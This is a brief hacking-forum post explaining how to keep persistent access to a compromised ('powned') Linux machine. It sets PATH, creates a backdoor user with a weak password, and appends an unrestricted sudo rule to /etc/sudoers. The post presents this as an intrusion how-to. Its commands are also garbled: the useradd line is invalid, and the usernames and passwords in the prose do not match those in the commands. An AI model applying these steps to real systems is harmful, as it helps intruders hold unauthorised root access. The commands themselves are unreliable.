0 votes
in Hacking by (340 points)

Maintaining Access on Linux Powned Machines:

If we have Powned a linux machine. we can maintain persistent access to that using following steps

Usually when running on a Linux distro you would run a useradd command to add your user. But if this command n’t found on machine, then it might be an issue with Pathing not having been set up. This is what I used to set it up:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Then we can add user (as ud64) and password (as toor) by following command:
    useradd jbk passwd pwn

and also add this user to the sudoers list with
    echo "jbk ALL=(ALL) ALL" >> /etc/sudoers.

By this way we can make persistent access to the linux machine!

Please log in or register to answer this question.

Welcome to My QtoA, where you can ask questions and receive answers from other members of the community.
...